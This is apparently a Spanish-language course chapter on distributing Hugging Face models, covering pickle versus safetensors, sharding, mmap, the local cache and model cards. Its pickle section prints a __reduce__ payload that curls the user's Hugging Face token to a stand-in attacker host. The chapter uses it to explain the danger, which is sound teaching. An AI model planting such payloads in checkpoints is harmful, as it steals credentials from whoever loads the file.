Curso / HF LLM Course / Capítulo 4
HF LLM Course · 4 de 12

Hugging Face · LLM Course · Capítulo 4

Compartir modelos y tokenizers

Distribución, almacenamiento y seguridad de artefactos neuronales: desde los riesgos de ejecución remota de código en deserializadores hasta la mecánica de bajo nivel de mmap, paginación de memoria virtual en shards de tensores y direccionamiento por contenido en el cache local.

Antes de leerCap. 2 §2: Tensores y VRAM · Cap. 3 §2: Guardado de checkpoints

🎯 Objetivos de ingeniería

  • Comprender la vulnerabilidad estructural de deserialización en pytorch_model.bin (Pickle) y el diseño binario seguro y alineado de safetensors.
  • Diseccionar el mecanismo de sharding mediante model.safetensors.index.json y el impacto de mmap (Demand Paging) en el consumo de RAM/VRAM.
  • Dominar la arquitectura de cache direccionada por contenido (Content-Addressed Storage) en ~/.cache/huggingface/hub/ con enlaces simbólicos a blobs/.
  • Automatizar la sincronización y versionado reproducible mediante hashes SHA-1/SHA-256 y la API HTTP chunked paralela.
  • Construir Model Cards con especificaciones técnicas completas y compatibilidad de chat_template para motores de inferencia (vLLM, SGLang, TGI).

0. La infraestructura del Hub: Más allá de un catálogo

En la superficie, el Hugging Face Hub se presenta como un portal web para explorar modelos, datasets y aplicaciones (Spaces). Sin embargo, bajo el capó de la infraestructura de machine learning moderno, el Hub opera como un sistema de distribución de artefactos binarios a escala petabyte, desacoplado en tres capas fundamentales:

  1. Capa de Versionado y Control de Acceso: Basada en un árbol Git interno expuesto mediante APIs REST y gRPC de alto rendimiento, donde cada modelo es un repositorio con ramas, etiquetas y commits inmutables identificados por hashes criptográficos.
  2. Almacenamiento de Objetos Masivos (LFS / Blobstore): Almacén de objetos compatible con S3 (y Cloudflare R2 como CDN perimetral) que aloja los archivos masivos de tensores (de gigabytes a cientos de gigabytes) direccionados por su hash SHA-256.
  3. Capa de Inferencia y Metadatos Estructurados: Archivos JSON de configuración y headers YAML en los READMEs que alimentan de forma reactiva los motores de inferencia distribuida (vLLM, TGI, SGLang) y la UI del Hub.

Entender cómo viajan los pesos desde el cluster de entrenamiento hasta la memoria de las GPUs de servicio requiere entender la física de la serialización y el manejo de memoria del sistema operativo anfitrión.

1. Formatos de serialización: De Pickle a Safetensors

Históricamente, PyTorch utilizaba por defecto la serialización estándar de Python: el módulo pickle, manifestado en los checkpoints pytorch_model.bin. Esto implicaba graves limitaciones de rendimiento y vulnerabilidades críticas de ciberseguridad.

La máquina virtual de Pickle y la vulnerabilidad __reduce__

Un archivo pickle no es un volcado de memoria pasivo; es un programa escrito en bytecode que se ejecuta sobre una máquina virtual de pila (Pickle Virtual Machine). Cuando un proceso invoca torch.load("pytorch_model.bin"), el intérprete reconstruye los objetos ejecutando opcodes paso a paso:

  • GLOBAL: Busca e importa un módulo y una función/clase arbitraria en el entorno de Python.
  • REDUCE: Toma una función y una tupla de argumentos de la pila y la ejecuta inmediatamente para reconstruir el objeto.
  • BUILD: Aplica el diccionario de estado resultante al objeto instanciado.

Esta arquitectura hace que cualquier archivo .bin sea inherentemente inseguro. Cualquier actor malicioso puede sobreescribir el método especial __reduce__ para inyectar una llamada arbitraria al sistema operativo. Al deserializar el modelo, el código se ejecuta con los mismos privilegios del usuario o del contenedor de producción:

import os, pickle

class MaliciousPayload:
    def __reduce__(self):
        # Ejecución remota de comandos durante torch.load()
        cmd = "curl -s https://c2.attacker.com/leak?k=$(cat ~/.cache/huggingface/token)"
        return (os.system, (cmd,))

# Si esto se serializa como pytorch_model.bin, quien haga torch.load() queda comprometido
malicious_bytes = pickle.dumps(MaliciousPayload())

⚠️ Riesgo Crítico en Producción

En entornos de serving corporativo (Kubernetes, clusters vLLM multi-tenant), descargar un checkpoint que contenga archivos .bin o .pt sin una auditoría exhaustiva viola cualquier perímetro de seguridad. Motores de producción modernos como vLLM directamente rechazan o emiten advertencias severas al encontrar pesos basados en Pickle.

Anatomía binaria de safetensors

Desarrollado por Hugging Face en Rust y adoptado universalmente en la industria desde 2023, el formato safetensors elimina por diseño cualquier vector de ejecución de código. Es una especificación estrictamente binaria, determinista y orientada a cero copia (zero-copy).

Un archivo .safetensors consta de exactamente tres bloques contiguos en disco:

  1. Longitud del Header (8 bytes): Un entero sin signo de 64 bits en formato little-endian (N) que indica exactamente cuántos bytes ocupa el encabezado JSON.
  2. Encabezado JSON (N bytes): Una cadena codificada en UTF-8 con metadatos estructurados. Cada tensor del modelo está indexado por su nombre con su tipo de dato (dtype), su forma dimensional (shape) y sus desplazamientos de bytes de inicio y fin (data_offsets: [begin, end]). Opcionalmente incluye un campo __metadata__ con metainformación arbitraria.
  3. Buffer de Datos Binarios Crudos: El payload de tensores en memoria contigua, sin compresión, sin cabeceras de objetos Python, y alineado a 8 bytes para permitir lecturas vectorizadas SIMD / AVX-512 y DMA (Direct Memory Access).
Estructura binaria del formato safetensors Diagrama que muestra los 8 bytes iniciales de longitud little-endian N, el bloque JSON de metadatos de N bytes, y el buffer contiguo de tensores alineado a 8 bytes listo para mmap. 8 Bytes uint64_le (N) Header JSON (N Bytes) dtype, shape, data_offsets: [start, end] Raw Tensor Data Buffer Bytes crudos, no comprimidos, 8-byte aligned Puntero al inicio del buffer crudo: 8 + N Offset absoluto en disco = 8 + N + start_offset
Layout binario de un archivo safetensors: Deserialización $O(1)$ sin asignación de memoria dinámica ni intérpretes de bytecode.

Inspeccionando los primeros bytes de cualquier archivo safetensors en Python puro, observamos la matemática de lectura directa:

import struct, json

with open("model.safetensors", "rb") as f:
    # 1. Leer los primeros 8 bytes para decodificar N
    header_size_bytes = f.read(8)
    (header_size,) = struct.unpack("<Q", header_size_bytes)  # <Q = unsigned long long little-endian

    # 2. Leer exactamente N bytes y parsear el diccionario JSON
    header_json = f.read(header_size).decode("utf-8")
    header = json.loads(header_json)

    # 3. Consultar los metadatos de un tensor específico
    meta = header["model.embed_tokens.weight"]
    start_offset, end_offset = meta["data_offsets"]
    tensor_bytes_len = end_offset - start_offset

    print(f"Header length: {header_size} bytes")
    print(f"Tensor: {meta['dtype']}, Shape: {meta['shape']}, Size: {tensor_bytes_len / (1024**2):.2f} MB")
    print(f"Offset absoluto en disco: {8 + header_size + start_offset}")

2. Sharding y memoria virtual: index.json y mmap

Un modelo contemporáneo de 70 mil millones de parámetros (70B) en precisión BF16 (2 bytes por parámetro) pesa aproximadamente 140 GB. Un único archivo de 140 GB introduce problemas operacionales insalvables: timeouts de sockets TCP, imposibilidad de reanudación granular de descargas en redes inestables, y restricciones de subida multipart en nubes públicas (por ejemplo, el límite histórico de 5 GB por objeto individual en AWS S3).

La regla de los 5 GB y el archivo model.safetensors.index.json

Hugging Face estandarizó fragmentar (shard) cualquier checkpoint cuyo peso supere los 5 GB. Para orquestar los múltiples fragmentos (model-00001-of-00004.safetensors, ..., model-00004-of-00004.safetensors), se genera un archivo de índice denominado model.safetensors.index.json.

Este archivo contiene un mapeo estricto de cada parámetro del modelo hacia el archivo de shard que contiene sus bytes:

{
  "metadata": {
    "total_size": 15462839296
  },
  "weight_map": {
    "model.embed_tokens.weight": "model-00001-of-00004.safetensors",
    "model.layers.0.self_attn.q_proj.weight": "model-00001-of-00004.safetensors",
    "model.layers.0.self_attn.k_proj.weight": "model-00001-of-00004.safetensors",
    "...": "...",
    "model.layers.31.mlp.down_proj.weight": "model-00004-of-00004.safetensors",
    "lm_head.weight": "model-00004-of-00004.safetensors"
  }
}

Mecánica de bajo nivel: mmap y Page Faulting en el Kernel de Linux

Cuando cargás un modelo mediante from_pretrained(..., device_map="auto") o cuando un motor como vLLM inicializa los pesos, no se leen 140 GB a la memoria RAM de forma secuencial. En su lugar, el proceso recurre a la llamada al sistema del kernel de Linux:

void *addr = mmap(NULL, file_length, PROT_READ, MAP_SHARED, fd, 0);

¿Qué ocurre físicamente a nivel del sistema operativo y hardware?

  1. Reserva de Espacio de Direcciones Virtuales (VMA): El kernel crea una estructura vm_area_struct en la tabla de páginas del proceso. Esto incrementa la memoria virtual (VIRT), pero no consume memoria física (RSS / Resident Set Size). La llamada retorna en microsegundos.
  2. Demand Paging (Paginación por Demanda): Ningún byte se transfiere desde el NVMe/SSD a la RAM física en este momento.
  3. Page Fault (Fallo de Página de Hardware): Cuando el código de carga accede al tensor (por ejemplo, para transferir la capa 0 a la VRAM de la GPU mediante cudaMemcpyAsync), la Unidad de Manejo de Memoria de la CPU (MMU) detecta que la dirección virtual no está mapeada a un marco físico de RAM y dispara una interrupción de hardware (Major Page Fault).
  4. Carga por Bloques de Página: El manejador de excepciones del kernel suspende momentáneamente el hilo, lee desde el disco las páginas de 4 KB (o HugePages de 2 MB) que corresponden al tensor hacia el Page Cache del kernel, actualiza la Page Table del proceso y reanuda la instrucción.
Mapeo de memoria virtual y transferencia a GPU mediante mmap Diagrama del flujo desde el archivo en SSD NVMe, mapeado a Virtual Memory sin copiar, generando page faults bajo demanda hacia el Page Cache de la RAM, y transfiriéndose directamente a la VRAM de la GPU. Disco NVMe model-00001.safetensors Layer 0 (Offsets A-B) Layer 1 (Offsets C-D) Memoria Virtual mmap() MAP_SHARED Puntero virtual (0x7f..) RSS: 0 Bytes DRAM Física (Host) Page Cache (Linux) Páginas de 4KB bajo Page Faulting VRAM de GPU cudaMemcpyAsync Tensores cargados Pesos listos en GPU
Pipeline de carga con mmap: Los datos viajan por DMA directamente al Page Cache y a la GPU sin intermediación de copias intermedias en el runtime de Python.

💡 Optimización en Inferencia Distribuida

Gracias a mmap y al formato safetensors, cuando ejecutás Tensor Parallelism (ej. en vLLM sobre 8 GPUs), los 8 procesos de Python hacen mmap sobre los mismos archivos de disco. El Page Cache de Linux comparte las páginas de memoria física entre los procesos sin duplicar el consumo de RAM del servidor anfitrión.

3. Arquitectura del Cache local y Content-Addressing

Cada vez que invocás AutoModel.from_pretrained("org/repo") o utilizás snapshot_download, los archivos no se depositan de forma ingenua en una carpeta común. La librería huggingface_hub implementa un sistema de almacenamiento direccionado por contenido (CAS / Content-Addressed Storage) en ~/.cache/huggingface/hub/.

Estructura interna: blobs/, snapshots/ y Enlaces Simbólicos

La anatomía de cualquier modelo en el directorio de cache se divide estrictamente:

~/.cache/huggingface/hub/
└── models--Qwen--Qwen2.5-7B/
    ├── blobs/
    │   ├── 4a8b79f012...   # Blob real de 4.8 GB (hash SHA-256 de model-00001-of-00004.safetensors)
    │   ├── 9e23c14d55...   # Blob real de config.json (hash SHA-256)
    │   └── e4139821a0...   # Blob real de tokenizer.json
    ├── refs/
    │   └── main            # Texto con el commit hash: "e3a89bc..."
    └── snapshots/
        └── e3a89bc.../     # Carpeta nombrada con el Git Commit SHA
            ├── config.json -> ../../blobs/9e23c14d55...
            ├── model.safetensors.index.json -> ../../blobs/...
            ├── model-00001-of-00004.safetensors -> ../../blobs/4a8b79f012...
            └── tokenizer.json -> ../../blobs/e4139821a0...

Las ventajas de esta arquitectura son matemáticas y operativas:

  • Deduplicación Absoluta: Si alternás entre dos ramas de un modelo (por ejemplo, main y pr-12) donde solo se modificó el archivo config.json, los 14 GB de archivos .safetensors no se vuelven a descargar ni ocupan espacio extra en disco. Ambas carpetas en snapshots/ apuntan exactamente a los mismos archivos dentro de blobs/ mediante symlinks de Linux.
  • Operaciones Atómicas: La descarga escribe en archivos temporales dentro de blobs/. Solo cuando el hash SHA-256 verificado coincide con el catálogo del Hub, se renombra el blob y se crea el enlace simbólico atómicamente, garantizando que un corte de red jamás deje un checkpoint corrupto a medio escribir.
  • Reproducibilidad Criptográfica vía revision: Al pasar revision="e3a89bc..." en lugar del nombre de una rama flotante como main, garantizás que tu infraestructura de producción cargue exactamente los mismos pesos binarios byte a byte, previniendo regresiones silenciosas si el autor del modelo actualiza el repositorio.

4. Protocolo de distribución: Git LFS vs HTTP Multipart

El curso original de Hugging Face en 2022 explicaba la publicación de modelos mediante Git y la extensión git-lfs (Large File Storage). En 2026, esa metodología está totalmente obsoleta y desaconsejada.

La caída de Git LFS y el auge de la API HTTP Chunked

Git fue concebido para manejar árboles de texto plano con diferencias línea por línea. Cuando se usa git-lfs para modelos modernos:

  • El árbol de Git colapsa con bloqueos locales de índice (index.lock) y consumos exorbitantes de RAM para rastrear punteros LFS.
  • La negociación HTTP en un git push requiere transferencias seriales que penalizan fuertemente enlaces de alta latencia y fallan con errores crípticos (RPC failed; curl 56 GnuTLS recv error).

El protocolo contemporáneo de Hugging Face es 100% HTTP REST nativo implementado en huggingface_hub:

from huggingface_hub import HfApi

api = HfApi()

# Subida en paralelo, con multipart chunking y deduplicación por bloques
api.upload_folder(
    folder_path="./mi_modelo_finetuneado",
    repo_id="usuario/mi-modelo-llama",
    repo_type="model",
    multi_commits=True,       # divide automáticamente en commits coherentes si hay cientos de GB
    multi_commits_verbose=True,
    allow_patterns=["*.json", "*.safetensors"],
)

Bajo el capó, upload_folder ejecuta una subida multipart paralela:

  1. Calcula el hash SHA-256 de cada archivo local de forma particionada.
  2. Pregunta a la API del Hub qué bloques de hashes ya existen en el blobstore (evitando re-subir pesos idénticos).
  3. Divide los archivos masivos en chunks paralelos (de 50 MB o 100 MB), subiéndolos con múltiples hilos contra el CDN. Si un chunk falla, el reintento afecta únicamente a esos 50 MB, no a los 5 GB del shard completo.

5. Model Cards y metadatos críticos de producción

En ingeniería de software clásica, un README es simplemente documentación para humanos. En el ecosistema de LLMs, el README.md de un modelo es un archivo de configuración de infraestructura: su cabecera YAML es parseada directamente por el motor de búsqueda del Hub y por sistemas de orquestación automatizada.

El Header YAML y el Linaje de Pesos

Un modelo sin metadatos estructurados no puede ser indexado correctamente. Los campos críticos son:

---
language:
  - es
  - en
license: apache-2.0
library_name: transformers
base_model: meta-llama/Llama-3.1-8B-Instruct
tags:
  - alignment
  - reasoning
  - dpo
metrics:
  - accuracy
  - eval_loss
pipeline_tag: text-generation
---

El campo base_model es crucial: establece formalmente el árbol de linaje de pesos en el Hub. Permite que herramientas de análisis de procedencia, benchmarking automatizado y auditorías de seguridad determinen de qué checkpoint base se derivaron los adaptadores o el fine-tuning.

Inferencia reproducible: El chat_template

Un error clásico en producción es suponer que el modelo recibe simplemente el texto de usuario. Si un modelo fue alineado con instrucciones, cada token de control (ej. <|im_start|>, <|start_header_id|>) debe colocarse con exactitud milimétrica.

El Hub estandarizó que este formato se defina en una plantilla de Jinja2 dentro de tokenizer_config.json:

from transformers import AutoTokenizer

tokenizer = AutoTokenizer.from_pretrained("Qwen/Qwen2.5-7B-Instruct")

messages = [
    {"role": "system", "content": "Sos un asistente de ingeniería."},
    {"role": "user", "content": "¿Cómo funciona mmap en Linux?"},
]

# apply_chat_template compila la plantilla Jinja2 almacenada en el repo
prompt_compilado = tokenizer.apply_chat_template(messages, tokenize=False, add_generation_prompt=True)
print(prompt_compilado)

Cuando publicás un modelo, subir el tokenizer_config.json con su chat_template correcto garantiza que vLLM, Ollama o cualquier cliente OpenAI-compatible renderice los turnos de diálogo de forma idéntica a como el modelo fue entrenado.

6. Diagnóstico de errores de carga y despliegue

Síntoma en ProducciónCausa MecánicaResolución de Ingeniería
403 Client Error: Forbidden for url al intentar push_to_hub El token de acceso utilizado tiene alcance Read-only o es un Fine-Grained token sin permiso de escritura sobre el namespace solicitado. Emitir un token con rol Write o scope de escritura explícito sobre la organización y re-autenticar con hf auth login.
OSError: Error no such file: model.safetensors.index.json Se intentó cargar un modelo particionado al que le falta el archivo de índice o alguno de los fragmentos referenciados en weight_map. Auditar que todos los shards model-xxxxx-of-xxxxx.safetensors y el index.json estén subidos en el mismo commit.
ValueError: Cannot load checkpoint in safetensors format El repositorio solo contiene pytorch_model.bin (Pickle) y el entorno tiene prohibida la ejecución de Pickle por políticas de seguridad. Convertir el modelo localmente a safetensors mediante AutoModel.from_pretrained(..., safe_serialization=True) y reemplazar los archivos en el repo.
El modelo genera texto degradado o bucles repetitivos tras cargar el checkpoint Desincronización entre modelo y tokenizer: se utilizó un tokenizer base genérico omitiendo tokens especiales o el chat_template agregado en el fine-tuning. Subir siempre el tokenizer junto con los pesos desde el mismo directorio: tokenizer.push_to_hub(repo_id).
Consumo masivo de RAM del sistema (OOM de Host) antes de llegar a la GPU Uso de torch.load(..., weights_only=False) que deserializa el archivo completo a memoria física en lugar de mapear con safetensors.torch.load_file / mmap. Migrar a safetensors nativo y utilizar device_map="auto" que orquesta la paginación por demanda directa a VRAM.

7. Resumen de arquitectura

ComponenteImplementación TécnicaRol en la Infraestructura
Serialización safetensors (Header JSON de N bytes + Buffer crudo) Elimina vulnerabilidades de ejecución arbitraria de código y permite carga zero-copy.
Paginación mmap() con llamadas de sistema MAP_SHARED Mapea archivos a direcciones virtuales, trasladando los bytes a RAM/VRAM solo bajo fallos de página por demanda.
Sharding Fragmentos de 5 GB + model.safetensors.index.json Resuelve límites de almacenamiento multipart en S3 y permite paralelismo de E/S en red.
Cache Local Content-Addressed Storage en blobs/ con symlinks en snapshots/ Deduplicación criptográfica a nivel de archivo entre ramas y commits de checkpoints.
Inferencia tokenizer_config.json con plantillas Jinja2 (chat_template) Estandarización del formateo de prompts para motores de inferencia serving (vLLM, TGI).

8. Ponete a prueba

1. ¿Por qué un archivo pytorch_model.bin puede comprometer un servidor con solo ejecutar torch.load()?

Porque el formato Pickle es una máquina virtual de pila con instrucciones como GLOBAL y REDUCE. Si la clase serializada sobreescribe el método __reduce__, puede indicar que se ejecute os.system o cualquier ejecutable con argumentos arbitrarios durante la deserialización, antes de que el código retorne el tensor.

2. ¿Cómo logra safetensors cargar un modelo de 70B en memoria virtual casi instantáneamente sin agotar la RAM física?

Utiliza la llamada del sistema mmap(). Esto crea descriptores de áreas de memoria virtual (VMA) en la tabla de páginas del proceso sin leer los datos físicamente. El espacio residente en RAM (RSS) permanece en cero hasta que se accede efectivamente a las direcciones de memoria, momento en el cual el kernel atiende Page Faults bajo demanda.

3. ¿Por qué el cache del Hub separa los archivos en blobs/ y snapshots/ mediante enlaces simbólicos?

Para implementar direccionamiento por contenido y deduplicación. Los archivos pesados se guardan una sola vez nombrados por su hash SHA-256 en blobs/. Si dos versiones o ramas de un modelo comparten los mismos 14 GB de pesos y solo difieren en un config.json de 2 KB, ambas carpetas de snapshots/ apuntan al mismo blob físico, ahorrando terabytes de almacenamiento local.

4. ¿Qué ventaja ofrece pasar revision="4b2a8f..." en lugar de la rama por defecto main en entornos de serving?

Garantiza inmutabilidad y reproducibilidad determinista en producción. Las ramas como main son punteros móviles; si el autor del modelo sube un nuevo checkpoint o modifica un hiperparámetro en el repositorio, una nueva instancia desplegada podría divergir en comportamiento respecto a las instancias preexistentes.

5. Si un modelo fue fragmentado en shards de 5 GB, ¿cómo sabe el framework exactamente en qué archivo físico buscar el tensor model.layers.15.mlp.gate_proj.weight?

Consulta el archivo model.safetensors.index.json, cuya clave weight_map mapea el nombre exacto del parámetro hacia el nombre del archivo shard correspondiente (ej. model-00002-of-00004.safetensors).

9. Práctica con scripts de inspección

✏️ Ejercicio 1: Diseccionar la cabecera binaria de un archivo Safetensors

Escribí un script en Python puro (sin dependencias externas ni torch) que descargue el archivo config.json y el primer bloque de un safetensors para inspeccionar su tamaño de header y extraer la lista de tensores.

import struct, json
from huggingface_hub import hf_hub_download

# Descargar un archivo safetensors ligero
ruta = hf_hub_download(repo_id="HuggingFaceTB/SmolLM2-135M", filename="model.safetensors")

with open(ruta, "rb") as f:
    header_len_raw = f.read(8)
    (header_len,) = struct.unpack("<Q", header_len_raw)
    header_json = json.loads(f.read(header_len).decode("utf-8"))

print(f"Header length: {header_len} bytes")
for name, info in list(header_json.items())[:5]:
    if name != "__metadata__":
        offsets = info["data_offsets"]
        size_bytes = offsets[1] - offsets[0]
        print(f"Tensor: {name:<40} | Dtype: {info['dtype']:<6} | Shape: {str(info['shape']):<18} | Bytes: {size_bytes}")

✏️ Ejercicio 2: Inspeccionar la topología de symlinks en el Cache de Hugging Face

Verificá la arquitectura de direccionamiento por contenido en tu propia máquina listando los enlaces simbólicos de un snapshot descargado.

import os
from pathlib import Path
from huggingface_hub import hf_hub_download

archivo = hf_hub_download(repo_id="HuggingFaceTB/SmolLM2-135M", filename="config.json")
path_snapshot = Path(archivo).parent

print("Contenido del snapshot (Symlinks):")
for item in path_snapshot.iterdir():
    if item.is_symlink():
        target = os.readlink(item)
        print(f"  {item.name} -> {target}")

10. Fuentes y referencias